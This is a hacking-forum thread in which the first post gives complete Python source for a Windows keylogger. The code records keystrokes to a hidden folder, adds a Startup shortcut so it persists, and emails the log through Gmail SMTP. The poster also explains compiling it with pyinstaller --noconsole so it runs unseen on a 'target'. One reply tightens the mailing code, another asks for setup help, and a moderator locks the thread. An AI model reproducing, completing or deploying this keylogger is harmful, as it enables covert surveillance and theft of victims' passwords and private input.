Author Topic: [Python] Keylogger for you and me  (Read 1802 times)

0 Members and 1 Guest are viewing this topic.

Offline R3ckless

  • /dev/null
  • *
  • Posts: 11
  • Cookies: 5
    • View Profile
[Python] Keylogger for you and me
« on: September 07, 2013, 06:35:50 pm »
So I somehow stumbled upon a video on youtube to make a basic keylogger.

I found it interesting and decided to look up on the internet was to get the text file to  it back to me and among other things, it escalated.

Code:

Code: [Select]
import pyHook, pythoncom, logging, sys
import time
import os, sys, win32com.client
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
from email.MIMEImage import MIMEImage
import smtplib

if not os.path.exists('C:\\MSLive\\'):
    os.makedirs('C:\\MSLive\\')
    myfile = open('C:\\MSLive\\stuff.txt', 'w')
    myfile.write("Fun starts here\n")
    myfile.close()

shell = win32com.client.Dispatch("WScript.Shell")
shortcut = shell.CreateShortCut("C:\\Users\\"+ os.environ.get("USERNAME")+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MSLive.lnk")
shortcut.Targetpath = "C:\\Users\\"+ os.environ.get("USERNAME")+"\\Downloads\\collegemeh\\key.exe"
shortcut.save()

msg = MIMEMultipart()
msg.attach(MIMEText(file("C:\\MSLive\\stuff.txt").read()))

mailer = smtplib.SMTP("smtp.gmail.com", 587)

mailer.ehlo()
mailer.starttls()
mailer.ehlo()
mailer.login('username', 'password')
mailer.sendmail("from@example.com", "to@example.com", msg.as_string())
mailer.close()


file_log = 'C:\\MSLive\\stuff.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
   
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

What it does:
  • It creates a txt files in C:\MSLive where it stores the key inputs. MSLives doesn't exists therefore it creates it
  • Then it proceeds to create a shortcut on the Startup folder
  • It assumes that the file is in Downloads\collegemeh. You can change it if you know where your target is going to unzip it.
  • Everytime the program is started it is going to send a mail with the contents of the txt file to the address written.
Now you may ask, what if the target doesn't use python?
Use pyinstaller with the --noconsole argument. It will make a folder in the pyinstaller folder with the name of the original script and within the dist folder there is the exe and its contents. Up to you what to do with this or how you wanna do it.

NOTES:
  • I did not write all this code. It was mostly googling and copy pasting/editing
  • I haven't tested the startup part yet.

Any input to improve it is appreciated!

Offline vezzy

  • Royal Highness
  • ****
  • Posts: 771
  • Cookies: 172
    • View Profile
Re: [Python] Keylogger for you and me
« Reply #1 on: September 07, 2013, 07:15:57 pm »
Fairly decent overall, but a little note.

Although the most publicly documented handshake for authenticating to Gmail's SMTP server is as you've written:

Code: (Python) [Select]
mailer.ehlo()
mailer.starttls()
mailer.ehlo()

It can be shortened down to:

Code: (Python) [Select]
mailer.ehlo_or_helo_if_needed()
mailer.starttls()

From my experience. The second EHLO becomes redundant.
Quote from: Dippy hippy
Just brushing though. I will be semi active mainly came to find a HQ botnet, like THOR or just any p2p botnet

Offline Brushes

  • NULL
  • Posts: 3
  • Cookies: 0
    • View Profile
Re: [Python] Keylogger for you and me
« Reply #2 on: April 19, 2014, 01:25:52 am »
Nice work R3ckless. I tried running the program but I was given an ImportError: No module named 'pyHook'

Please how do I get this module?

Thank you boss!

Offline lucid

  • #Underground
  • Titan
  • **
  • Posts: 2683
  • Cookies: 243
  • psychonaut
    • View Profile
Re: [Python] Keylogger for you and me
« Reply #3 on: April 19, 2014, 07:50:35 am »
Locked because one-time poster magnet.

/
"Hacking is at least as much about ideas as about computers and technology. We use our skills to open doors that should never have been shut. We open these doors not only for our own benefit but for the benefit of others, too." - Brian the Hacker

Quote
15:04  @Phage : I'm bored of Python